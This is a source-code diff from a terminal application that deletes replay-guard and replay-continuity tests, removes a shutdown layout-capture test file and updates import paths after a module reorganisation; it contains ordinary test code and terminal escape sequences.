-  const terminal: FakeTerminal = {
-    lastData: [],
-    pendingCallbacks,
-    rows: 24,
-    buffer: {
-      active: {
-        baseY: 0,
-        viewportY: 0
-      }
-    },
-    _core: {
-      refresh() {}
-    },
-    refresh() {},
-    dispose() {
-      pendingCallbacks.length = 0
-      terminal._core._store = { _isDisposed: true }
-    },
-    write(data: string, cb?: () => void) {
-      terminal.lastData.push(data)
-      if (cb) {
-        pendingCallbacks.push(cb)
-      }
-    },
-    flush() {
-      while (pendingCallbacks.length > 0) {
-        pendingCallbacks.shift()!()
-      }
-    }
-  }
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: replay reads only id/terminal; disposePane null-checks or try-wraps every other field it touches.
-  const pane = { id: paneId, terminal } as unknown as ManagedPaneInternal
-  return { pane, terminal }
-}
-
-describe('replay-guard', () => {
-  it('registers Arabic shaping before replay bytes are written', () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    const events: string[] = []
-    const joinerTerminal = terminal as FakeTerminal & {
-      registerCharacterJoiner: (handler: (text: string) => [number, number][]) => number
-      deregisterCharacterJoiner: (joinerId: number) => void
-    }
-    joinerTerminal.registerCharacterJoiner = () => {
-      events.push('register')
-      return 5
-    }
-    joinerTerminal.deregisterCharacterJoiner = () => undefined
-    terminal.write = (data: string, callback?: () => void) => {
-      events.push(`write:${data}`)
-      if (callback) {
-        terminal.pendingCallbacks.push(callback)
-      }
-    }
-    const cleanup = configureLazyArabicShapingJoiner(joinerTerminal as never, () => true)
-
-    replayIntoTerminal(pane, ref, 'مرحبا')
-
-    expect(events).toEqual(['register', 'write:مرحبا'])
-    cleanup()
-  })
-
-  it('still replays RTL bytes when joiner registration fails', () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    const joinerTerminal = terminal as FakeTerminal & {
-      registerCharacterJoiner: () => number
-      deregisterCharacterJoiner: () => void
-    }
-    joinerTerminal.registerCharacterJoiner = () => {
-      throw new Error('terminal disposed')
-    }
-    joinerTerminal.deregisterCharacterJoiner = () => undefined
-    configureLazyArabicShapingJoiner(joinerTerminal as never, () => true)
-
-    replayIntoTerminal(pane, ref, 'مرحبا')
-
-    expect(terminal.lastData).toEqual(['مرحبا'])
-    terminal.flush()
-    expect(isPaneReplaying(ref, pane.id)).toBe(false)
-  })
-
-  it('is replaying between write dispatch and xterm parse completion', () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-
-    replayIntoTerminal(pane, ref, 'hello')
-
-    // Keep the guard until parse completion so replay queries cannot emit shell input.
-    expect(isPaneReplaying(ref, 1)).toBe(true)
-
-    terminal.flush()
-    expect(isPaneReplaying(ref, 1)).toBe(false)
-  })
-
-  it('composes nested replays via a counter', () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-
-    // Queue cold-restore preamble, history and banner before any parse completion.
-    replayIntoTerminal(pane, ref, '\x1b[2J\x1b[3J\x1b[H')
-    replayIntoTerminal(pane, ref, 'scrollback bytes')
-    replayIntoTerminal(pane, ref, '--- session restored ---')
-    expect(isPaneReplaying(ref, 1)).toBe(true)
-
-    // The first completion cannot release later queued replay writes that may still auto-reply.
-    terminal.pendingCallbacks.shift()!()
-    expect(isPaneReplaying(ref, 1)).toBe(true)
-
-    terminal.pendingCallbacks.shift()!()
-    expect(isPaneReplaying(ref, 1)).toBe(true)
-
-    terminal.pendingCallbacks.shift()!()
-    expect(isPaneReplaying(ref, 1)).toBe(false)
-  })
-
-  it('keeps each pane independent', () => {
-    const ref = makeRef()
-    const a = makeFakePane(1)
-    const b = makeFakePane(2)
-
-    replayIntoTerminal(a.pane, ref, 'a')
-    expect(isPaneReplaying(ref, 1)).toBe(true)
-    expect(isPaneReplaying(ref, 2)).toBe(false)
-
-    replayIntoTerminal(b.pane, ref, 'b')
-    expect(isPaneReplaying(ref, 2)).toBe(true)
-
-    a.terminal.flush()
-    expect(isPaneReplaying(ref, 1)).toBe(false)
-    expect(isPaneReplaying(ref, 2)).toBe(true)
-
-    b.terminal.flush()
-    expect(isPaneReplaying(ref, 2)).toBe(false)
-  })
-
-  it('skips empty data without touching the guard or xterm', () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    replayIntoTerminal(pane, ref, '')
-    expect(terminal.lastData).toEqual([])
-    expect(isPaneReplaying(ref, 1)).toBe(false)
-  })
-
-  it('auto-releases the guard when xterm never fires the parse callback', () => {
-    // Lost parse completions can pin every replay counter and eat input; a probe-certified quiet wedge must release them (#7661).
-    vi.useFakeTimers()
-    try {
-      const ref = makeRef()
-      const { pane } = makeFakePane(1)
-      replayIntoTerminal(pane, ref, '\x1b[2J\x1b[3J\x1b[H', { stallCheckMs: 400 })
-      replayIntoTerminal(pane, ref, 'scrollback bytes', { stallCheckMs: 400 })
-      replayIntoTerminal(pane, ref, '--- session restored ---', { stallCheckMs: 400 })
-      expect(isPaneReplaying(ref, 1)).toBe(true)
-
-      // Never parse replay or probe; release only after both quiet stall windows.
-      vi.advanceTimersByTime(1000)
-
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('short-circuits replays into a certified-dead terminal', () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    notifyUndeliverableWrite(pane.terminal, 'write-stalled')
-
-    replayIntoTerminal(pane, ref, 'zombie restore bytes')
-
-    // No write reaches the dead pipeline and no guard is engaged — the
-    // watchdog-driven restore loop can no longer produce the wedged drip.
-    expect(terminal.lastData).toHaveLength(0)
-    expect(isPaneReplaying(ref, 1)).toBe(false)
-    _resetWritePipelineHealthForTests(pane.terminal)
-  })
-
-  it('resolves async replays into a certified-dead terminal without writing', async () => {
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    notifyUndeliverableWrite(pane.terminal, 'replay-wedged')
-
-    await replayIntoTerminalAsync(pane, ref, 'zombie restore bytes')
-
-    expect(terminal.lastData).toHaveLength(0)
-    expect(isPaneReplaying(ref, 1)).toBe(false)
-    _resetWritePipelineHealthForTests(pane.terminal)
-  })
-
-  it('parse completion cancels the stall probe without over-releasing', () => {
-    vi.useFakeTimers()
-    try {
-      const ref = makeRef()
-      const { pane, terminal } = makeFakePane(1)
-      replayIntoTerminal(pane, ref, 'a', { stallCheckMs: 400 })
-      replayIntoTerminal(pane, ref, 'b', { stallCheckMs: 400 })
-
-      terminal.flush()
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-
-      // The already-cancelled stall timer must not fire and underflow the counter.
-      vi.advanceTimersByTime(1000)
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('async replay resolves even when the parse callback never fires', async () => {
-    vi.useFakeTimers()
-    try {
-      const ref = makeRef()
-      const { pane } = makeFakePane(1)
-      let resolved = false
-      const promise = replayIntoTerminalAsync(pane, ref, 'x', { stallCheckMs: 400 }).then(() => {
-        resolved = true
-      })
-      expect(isPaneReplaying(ref, 1)).toBe(true)
-
-      await vi.advanceTimersByTimeAsync(1000)
-      await promise
-
-      expect(resolved).toBe(true)
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
-
-describe('replay-guard stall handling (probe-certified release)', () => {
-  it('waits for the FIFO replay sentinel without releasing on elapsed time', async () => {
-    vi.useFakeTimers()
-    const { terminal } = makeFakePane(1)
-    let resolved = false
-
-    void waitForTerminalReplayWritesParsed(terminal, { stallCheckMs: 1_000 }).then(() => {
-      resolved = true
-    })
-    expect(terminal.lastData).toEqual([new Uint8Array(0)])
-
-    vi.advanceTimersByTime(1_000)
-    expect(terminal.lastData).toEqual([new Uint8Array(0), new Uint8Array(0)])
-    expect(resolved).toBe(false)
-    vi.advanceTimersByTime(60_000)
-    expect(resolved).toBe(false)
-
-    terminal.flush()
-    await Promise.resolve()
-    expect(resolved).toBe(true)
-  })
-
-  it('releases when the probe parses but the replay completion was lost, and reports it', () => {
-    vi.useFakeTimers()
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    try {
-      const ref = makeRef()
-      const { pane, terminal } = makeFakePane(1)
-
-      replayIntoTerminal(pane, ref, 'restored bytes', { stallCheckMs: 1_000 })
-      terminal.pendingCallbacks.shift() // xterm lost the replay's completion
-      vi.advanceTimersByTime(1_000) // stall check → probe enqueued
-
-      // Probe completion proves every earlier replay byte parsed, making release safe.
-      terminal.flush()
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-      expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-        'terminal_replay_guard_lost_completion',
-        { paneId: 1 }
-      )
-    } finally {
-      errorSpy.mockRestore()
-    }
-  })
-
-  it('releases after the probe itself never parses (wedged pipeline) and reports it', () => {
-    vi.useFakeTimers()
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    try {
-      const ref = makeRef()
-      const { pane } = makeFakePane(1)
-
-      replayIntoTerminal(pane, ref, 'restored bytes', { stallCheckMs: 1_000 })
-      vi.advanceTimersByTime(1_000) // stall check → probe enqueued
-      expect(isPaneReplaying(ref, 1)).toBe(true)
-
-      // A certified silent parser cannot emit query replies, so bounded wedge release cannot leak input.
-      vi.advanceTimersByTime(1_000)
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-      expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-        'terminal_replay_guard_wedged_release',
-        { paneId: 1 }
-      )
-    } finally {
-      errorSpy.mockRestore()
-    }
-  })
-
-  it('still certifies a wedge after progress stops for a full probe window', () => {
-    vi.useFakeTimers()
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    const recoveryReasons: string[] = []
-    const unregister = registerUndeliverableWriteHandler(terminal, (reason) => {
-      recoveryReasons.push(reason)
-    })
-    try {
-      replayIntoTerminal(pane, ref, 'chunk-A', { stallCheckMs: 1_000 })
-      replayIntoTerminal(pane, ref, 'chunk-B', { stallCheckMs: 1_000 })
-
-      // t=1000: both probes queued. t=1100: A completes, then silence.
-      vi.advanceTimersByTime(1_100)
-      terminal.pendingCallbacks.shift()!()
-
-      // t=2000: B's deadline sees A's progress → extends one quiet window.
-      vi.advanceTimersByTime(900)
-      expect(isPaneReplaying(ref, 1)).toBe(true)
-      expect(recoveryReasons).toEqual([])
-
-      // t=3000: the extended window passed with zero progress → wedged.
-      vi.advanceTimersByTime(1_000)
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-      expect(recoveryReasons).toEqual(['replay-wedged'])
-      expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-        'terminal_replay_guard_wedged_release',
-        { paneId: 1 }
-      )
-    } finally {
-      unregister()
-      _resetWritePipelineHealthForTests(terminal)
-      errorSpy.mockRestore()
-    }
-  })
-
-  it('recovers an immediately rejected replay without recording parse progress', () => {
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    const ref = makeRef()
-    const { pane, terminal } = makeFakePane(1)
-    const recoveryReasons: string[] = []
-    const generation = captureTerminalParseProgressGeneration(terminal)
-    const unregister = registerUndeliverableWriteHandler(terminal, (reason) => {
-      recoveryReasons.push(reason)
-    })
-    terminal.write = () => {
-      throw new Error('terminal disposed')
-    }
-    try {
-      replayIntoTerminal(pane, ref, 'rejected replay')
-
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-      expect(hasTerminalParseProgressSince(terminal, generation)).toBe(false)
-      expect(recoveryReasons).toEqual(['replay-wedged'])
-      expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-        'terminal_replay_guard_wedged_release',
-        { paneId: 1 }
-      )
-    } finally {
-      unregister()
-      _resetWritePipelineHealthForTests(terminal)
-      errorSpy.mockRestore()
-    }
-  })
-
-  it('releases immediately when the probe write throws (terminal disposed mid-replay)', () => {
-    vi.useFakeTimers()
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    try {
-      const ref = makeRef()
-      const { pane, terminal } = makeFakePane(1)
-
-      replayIntoTerminal(pane, ref, 'restored bytes', { stallCheckMs: 1_000 })
-      terminal.write = () => {
-        throw new Error('terminal disposed')
-      }
-      vi.advanceTimersByTime(1_000)
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-      expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-        'terminal_replay_guard_wedged_release',
-        { paneId: 1 }
-      )
-    } finally {
-      errorSpy.mockRestore()
-    }
-  })
-
-  it('keeps overlapping engagements independent through a lost completion', () => {
-    vi.useFakeTimers()
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    try {
-      const ref = makeRef()
-      const { pane, terminal } = makeFakePane(1)
-
-      replayIntoTerminal(pane, ref, 'lost completion', { stallCheckMs: 1_000 })
-      replayIntoTerminal(pane, ref, 'healthy completion', { stallCheckMs: 60_000 })
-      terminal.pendingCallbacks.shift() // drop only the first completion
-      vi.advanceTimersByTime(1_000) // first engagement's probe enqueued
-
-      terminal.flush() // healthy completion + probe both parse
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-
-      vi.advanceTimersByTime(120_000)
-    } finally {
-      errorSpy.mockRestore()
-    }
-  })
-
-  it('resolves replayIntoTerminalAsync via the wedged path so restore chains cannot hang', async () => {
-    vi.useFakeTimers()
-    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-    try {
-      const ref = makeRef()
-      const { pane } = makeFakePane(1)
-
-      const replayDone = replayIntoTerminalAsync(pane, ref, 'restored bytes', {
-        stallCheckMs: 1_000
-      })
-      let resolved = false
-      void replayDone.then(() => {
-        resolved = true
-      })
-
-      await vi.advanceTimersByTimeAsync(2_000)
-      expect(resolved).toBe(true)
-      expect(isPaneReplaying(ref, 1)).toBe(false)
-    } finally {
-      errorSpy.mockRestore()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/snapshots/replay-guard.ts b/src/renderer/src/components/terminal-pane/snapshots/replay-guard.ts
index 421be1fe9de..1df082066ed 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/replay-guard.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/replay-guard.ts
@@ -1,16 +1,16 @@
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import { writeForegroundTerminalChunk } from '@/lib/pane-manager/pane-terminal-foreground-render-settle'
+import { writeForegroundTerminalChunk } from '@/lib/pane-manager/terminal-output/pane-terminal-foreground-render-settle'
 import { recordRendererCrashBreadcrumb } from '@/diagnostics/crash-reporting/crash-breadcrumb-recorder'
-import { ensureArabicShapingJoinerForText } from '@/lib/pane-manager/terminal-arabic-shaping-joiner'
-import { isXtermInstanceDisposed } from '@/lib/pane-manager/xterm-instance-disposed'
+import { ensureArabicShapingJoinerForText } from '@/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner'
+import { isXtermInstanceDisposed } from '@/lib/pane-manager/terminal-output/xterm-instance-disposed'
 import {
   captureTerminalParseProgressGeneration,
   hasTerminalParseProgressSince,
   isTerminalWritePipelineCertifiedDead,
   notifyUndeliverableWrite,
   recordTerminalParseProgress
-} from '@/lib/pane-manager/terminal-write-pipeline-health'
-import { writeXtermParseBarrier } from '@/lib/pane-manager/xterm-parse-barrier'
+} from '@/lib/pane-manager/terminal-output/terminal-write-pipeline-health'
+import { writeXtermParseBarrier } from '@/lib/pane-manager/terminal-output/xterm-parse-barrier'
 import { redactPtyIdForDiagnostics } from '../../../../../shared/terminal/pty/diagnostics/pty-delivery-diagnostics'
 
 // Guard replay auto-replies from shell stdin while xterm’s provenance keeps real typing flowing.
diff --git a/src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.ts b/src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.ts
index 44ac53b97bc..1ad7410eb41 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.ts
@@ -6,7 +6,7 @@ import {
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import { replayIntoTerminal, type ReplayingPanesRef } from './replay-guard'
 import type { RestoredViewportBlankingPanesRef } from '../viewport/terminal-restored-viewport'
-import { isXtermInstanceDisposed } from '@/lib/pane-manager/xterm-instance-disposed'
+import { isXtermInstanceDisposed } from '@/lib/pane-manager/terminal-output/xterm-instance-disposed'
 import { recordRendererCrashBreadcrumb } from '@/diagnostics/crash-reporting/crash-breadcrumb-recorder'
 
 /** Restore saved output; leave captured alt-screen mode unless its TUI is still live on the host. */
diff --git a/src/renderer/src/components/terminal-pane/snapshots/terminal-replay-application-continuity.test.ts b/src/renderer/src/components/terminal-pane/snapshots/terminal-replay-application-continuity.test.ts
index 999c015cadc..070287f4f5e 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/terminal-replay-application-continuity.test.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/terminal-replay-application-continuity.test.ts
@@ -7,8 +7,6 @@ import {
 } from '../../../../../shared/terminal/replay/testing/terminal-restore-parity-fixture'
 import { buildMainModelSnapshotReplayWrites } from './terminal-snapshot-replay-paint'
 
-/** Replay must preserve live application state that snapshots do not redeclare; use real terminfo families so one-time charset initialization stays covered. */
-
 async function replayInto(
   terminal: Terminal,
   model: ReturnType<typeof createRendererParityTerminal>,
@@ -24,73 +22,7 @@ function row(terminal: Terminal, index: number): string {
   return terminal.buffer.active.getLine(index)?.translateToString(true) ?? ''
 }
 
-/** Text alone cannot see a stranded pen: include the attributes per cell. */
-function rowWithAttributes(terminal: Terminal, index: number): string {
-  const line = terminal.buffer.active.getLine(index)
-  if (!line) {
-    return ''
-  }
-  const cells: string[] = []
-  for (let column = 0; column < line.length; column++) {
-    const cell = line.getCell(column)
-    if (!cell) {
-      continue
-    }
-    cells.push(
-      `${cell.getChars()}|${cell.isBold() ? 'b' : ''}${cell.isInverse() ? 'i' : ''}${cell.getFgColor()}`
-    )
-  }
-  return cells.join(',')
-}
-
-describe('line-drawing survives a replay for every real terminfo strategy', () => {
-  // xterm/alacritty smacs redeclares G0; SO/SI families designate G1 once with enacs and cannot self-heal.
-  const acsStrategies = [
-    { term: 'xterm-256color', enacs: '', smacs: '\x1b(0', rmacs: '\x1b(B' },
-    { term: 'alacritty', enacs: '', smacs: '\x1b(0', rmacs: '\x1b(B' },
-    { term: 'screen-256color', enacs: '\x1b(B\x1b)0', smacs: '\x0e', rmacs: '\x0f' },
-    { term: 'tmux-256color', enacs: '\x1b(B\x1b)0', smacs: '\x0e', rmacs: '\x0f' },
-    { term: 'vt100', enacs: '\x1b(B\x1b)0', smacs: '\x0e', rmacs: '\x0f' },
-    { term: 'linux', enacs: '\x1b)0', smacs: '\x0e', rmacs: '\x0f' }
-  ] as const
-
-  for (const { term, enacs, smacs, rmacs } of acsStrategies) {
-    it(`draws a box after a normal-buffer replay under ${term}`, async () => {
-      const model = createRendererParityTerminal({ cols: 20, rows: 4 })
-      const pane = new Terminal({ cols: 20, rows: 4, allowProposedApi: true })
-      try {
-        await writeToTerminal(model.terminal, 'restored output')
-        // The application initialises its charsets once, before the gap.
-        await writeToTerminal(pane, enacs)
-
-        await replayInto(pane, model, false)
-        await writeToTerminal(pane, `\r\n${smacs}lqqqk${rmacs}`)
-
-        expect(row(pane, 1)).toBe('┌───┐')
-      } finally {
-        model.terminal.dispose()
-        pane.dispose()
-      }
-    })
-
-    it(`draws a box after an alt-screen replay under ${term}`, async () => {
-      const model = createRendererParityTerminal({ cols: 20, rows: 4 })
-      const pane = new Terminal({ cols: 20, rows: 4, allowProposedApi: true })
-      try {
-        await writeToTerminal(model.terminal, '\x1b[?1049hTUI FRAME')
-        await writeToTerminal(pane, `\x1b[?1049h${enacs}`)
-
-        await replayInto(pane, model, true)
-        await writeToTerminal(pane, `\r\n${smacs}lqqqk${rmacs}`)
-
-        expect(row(pane, 1)).toBe('┌───┐')
-      } finally {
-        model.terminal.dispose()
-        pane.dispose()
-      }
-    })
-  }
-
+describe('replay recovers from a stranded shift-out', () => {
   // Ground GL because replay renders through it, while preserving app-owned G-set designations.
   it('renders the restored frame as ASCII even if the gap stranded a shift-out', async () => {
     const model = createRendererParityTerminal({ cols: 20, rows: 4 })
@@ -185,104 +117,4 @@ describe('real TUI shapes survive a replay', () => {
       pane.dispose()
     }
   })
-
-  // Same-buffer replay must not switch and confiscate the live agent’s negotiated Kitty flags.
-  it('keeps a live agent kitty negotiation when no buffer switch is needed', async () => {
-    const options = {
-      cols: 20,
-      rows: 4,
-      allowProposedApi: true,
-      vtExtensions: { kittyKeyboard: true }
-    }
-    const readFlags = (term: Terminal): unknown => {
-      const flags = (term as unknown as { _core: { coreService: { kittyKeyboard: unknown } } })
-        ._core.coreService.kittyKeyboard
-      expect(flags).toBeDefined()
-      return flags
-    }
-    const model = createRendererParityTerminal({ cols: 20, rows: 4 })
-    const pane = new Terminal(options)
-    const untouched = new Terminal(options)
-    try {
-      await writeToTerminal(model.terminal, 'shell output')
-      await writeToTerminal(pane, '\x1b[>1u')
-      await writeToTerminal(untouched, '\x1b[>1u')
-
-      await replayInto(pane, model, false)
-
-      expect(readFlags(pane)).toEqual(readFlags(untouched))
-    } finally {
-      model.terminal.dispose()
-      pane.dispose()
-      untouched.dispose()
-    }
-  })
-})
-
-describe('repeated gap and restore cycles', () => {
-  // Repeated gaps/restores must be idempotent without accumulating prologue state.
-  it('converges on the same frame after three successive restores', async () => {
-    const model = createRendererParityTerminal({ cols: 20, rows: 4 })
-    const once = new Terminal({ cols: 20, rows: 4, allowProposedApi: true })
-    const thrice = new Terminal({ cols: 20, rows: 4, allowProposedApi: true })
-    // Check attributes and mode-dependent operations because text-only parity misses bold/margin/autowrap corruption.
-    const describeFrame = async (terminal: Terminal): Promise<string> => {
-      await writeToTerminal(terminal, '\x1b[3;1Hzz\bY')
-      return JSON.stringify({
-        type: terminal.buffer.active.type,
-        rows: [0, 1, 2, 3].map((index) => rowWithAttributes(terminal, index)),
-        cursor: [terminal.buffer.active.cursorX, terminal.buffer.active.cursorY]
-      })
-    }
-    try {
-      await writeToTerminal(model.terminal, '\x1b[?1049hframe body')
-
-      await replayInto(once, model, false)
-      for (let cycle = 0; cycle < 3; cycle++) {
-        // A fresh gap strands new state before each restore.
-        await writeToTerminal(thrice, '\x1b[1m\x1b[2;3r\x1b[?7l\x1b]0;TRUNC')
-        // Only the first restore starts from the normal buffer.
-        await replayInto(thrice, model, cycle !== 0)
-      }
-
-      expect(await describeFrame(thrice)).toBe(await describeFrame(once))
-    } finally {
-      model.terminal.dispose()
-      once.dispose()
-      thrice.dispose()
-    }
-  })
-})
-
-describe('content fidelity through a replay', () => {
-  // Wide, combining and exact-width text expose incorrect insert/autowrap baselines as cell loss or shifts.
-  const payloads = [
-    { label: 'CJK wide glyphs', body: '日本語テキスト' },
-    { label: 'emoji with ZWJ', body: 'a👩‍💻b' },
-    { label: 'exact-width wrap', body: 'ABCDEFGHIJKLMNOPQRST' },
-    { label: 'combining marks', body: 'ééé' }
-  ] as const
-
-  for (const { label, body } of payloads) {
-    it(`replays ${label} identically into a gap-dirtied pane`, async () => {
-      const model = createRendererParityTerminal({ cols: 20, rows: 4 })
-      const clean = new Terminal({ cols: 20, rows: 4, allowProposedApi: true })
-      const dirty = new Terminal({ cols: 20, rows: 4, allowProposedApi: true })
-      try {
-        await writeToTerminal(model.terminal, body)
-        await replayInto(clean, model, false)
-
-        await writeToTerminal(dirty, '\x1b[1m\x1b(0\x1b[2;3r\x1b[?7l\x1b[4h\x1b7')
-        await replayInto(dirty, model, false)
-
-        expect([0, 1, 2, 3].map((index) => rowWithAttributes(dirty, index))).toEqual(
-          [0, 1, 2, 3].map((index) => rowWithAttributes(clean, index))
-        )
-      } finally {
-        model.terminal.dispose()
-        clean.dispose()
-        dirty.dispose()
-      }
-    })
-  }
 })
diff --git a/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.test.ts b/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.test.ts
deleted file mode 100644
index e9a0e38b435..00000000000
--- a/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.test.ts
+++ /dev/null
@@ -1,560 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT } from '../../../../../shared/terminal/replay/terminal-scrollback-limits'
-import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types'
-import { getUtf8ByteLength } from '../../../../../shared/utf8-byte-limits'
-
-const LEAF_ID = '11111111-1111-4111-8111-111111111111' as const
-const LEAF_ID_2 = '22222222-2222-4222-8222-222222222222' as const
-
-// Absolute cursor serialization adds a CUP suffix; mocks and byte limits must include its coordinates/bytes.
-const CURSOR_HOME = '\x1b[1;1H'
-
-function mockTerminal(scrollback: number): {
-  options: { scrollback: number }
-  cols: number
-  rows: number
-  buffer: { active: { cursorX: number; cursorY: number } }
-} {
-  return {
-    options: { scrollback },
-    cols: 80,
-    rows: 24,
-    buffer: { active: { cursorX: 0, cursorY: 0 } }
-  }
-}
-
-const mocks = vi.hoisted(() => ({
-  flushTerminalOutput: vi.fn()
-}))
-
-vi.mock('@/lib/pane-manager/pane-terminal-output-scheduler', () => ({
-  flushTerminalOutput: mocks.flushTerminalOutput
-}))
-
-beforeEach(() => {
-  mocks.flushTerminalOutput.mockReset()
-})
-
-const SINGLE_PANE_LAYOUT: TerminalLayoutSnapshot = {
-  root: { type: 'leaf', leafId: LEAF_ID },
-  activeLeafId: LEAF_ID,
-  expandedLeafId: null
-}
-
-const SPLIT_ROOT: TerminalLayoutSnapshot['root'] = {
-  type: 'split',
-  direction: 'vertical',
-  first: { type: 'leaf', leafId: LEAF_ID },
-  second: { type: 'leaf', leafId: LEAF_ID_2 }
-}
-
-describe('captureTerminalShutdownLayout', () => {
-  it('uses the bounded native fit check without a separate JS byte scan', async () => {
-    const byteLimits = await import('../../../../../shared/utf8-byte-limits')
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const measure = vi.spyOn(byteLimits, 'measureUtf8ByteLength')
-    const contents = 'x'.repeat(32 * 1024)
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      terminal: mockTerminal(5_000),
-      serializeAddon: { serialize: vi.fn(() => contents) }
-    }
-    try {
-      const layout = captureTerminalShutdownLayout({
-        // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the capture reads only the mocked pane fields.
-        manager: { getPanes: () => [pane] } as never,
-        paneTransports: new Map(),
-        existingLayout: SINGLE_PANE_LAYOUT
-      })
-      expect(layout.buffersByLeafId).toEqual({ [LEAF_ID]: `${contents}${CURSOR_HOME}` })
-      expect(pane.serializeAddon.serialize).toHaveBeenCalledExactlyOnceWith({ scrollback: 5_000 })
-      expect(measure.mock.calls.length).toBe(0)
-    } finally {
-      measure.mockRestore()
-    }
-  })
-
-  it.each(['x', 'é', '界', '😀', '\ud83d', '\udc00'])(
-    'preserves exact-cap decisions and probe options for %j',
-    async (unit) => {
-      const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-      for (const delta of [-1, 0, 1]) {
-        const payloadBytes =
-          TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT + delta - CURSOR_HOME.length
-        const unitBytes = Buffer.byteLength(unit)
-        const contents =
-          unit.repeat(Math.floor(payloadBytes / unitBytes)) + 'x'.repeat(payloadBytes % unitBytes)
-        const serialize = vi.fn((options?: { scrollback?: number }) =>
-          options?.scrollback === 5_000 ? contents : 'short'
-        )
-        const pane = Object.freeze({
-          id: 1,
-          leafId: LEAF_ID,
-          terminal: mockTerminal(5_000),
-          serializeAddon: { serialize }
-        })
-        const layout = captureTerminalShutdownLayout({
-          // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the capture reads only the mocked pane fields.
-          manager: { getPanes: () => [pane] } as never,
-          paneTransports: new Map(),
-          existingLayout: SINGLE_PANE_LAYOUT
-        })
-        const expected = delta <= 0 ? contents : 'short'
-        expect(layout.buffersByLeafId).toEqual({ [LEAF_ID]: `${expected}${CURSOR_HOME}` })
-        expect(serialize.mock.calls.map(([options]) => options?.scrollback)).toEqual(
-          delta <= 0 ? [5_000] : [5_000, 2_500, 3_750, 4_375, 4_687]
-        )
-      }
-    }
-  )
-
-  it('flushes queued terminal output before serializing shutdown scrollback', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const order: string[] = []
-    const terminal = {
-      ...mockTerminal(1_000),
-      pendingOutput: ''
-    }
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal,
-      serializeAddon: {
-        serialize: vi.fn(() => {
-          order.push('serialize')
-          return `snapshot:${terminal.pendingOutput}`
-        })
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane])
-    }
-    mocks.flushTerminalOutput.mockImplementation((target: typeof terminal) => {
-      expect(target).toBe(terminal)
-      order.push('flush')
-      terminal.pendingOutput = 'queued-before-quit'
-    })
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[1, { getPtyId: vi.fn(() => 'pty-1') }]]),
-      existingLayout: {
-        ...SINGLE_PANE_LAYOUT,
-        titlesByLeafId: { [LEAF_ID]: 'build logs' },
-        chatLeafId: LEAF_ID
-      }
-    })
-
-    expect(order).toEqual(['flush', 'serialize'])
-    expect(layout).toMatchObject<TerminalLayoutSnapshot>({
-      root: { type: 'leaf', leafId: LEAF_ID },
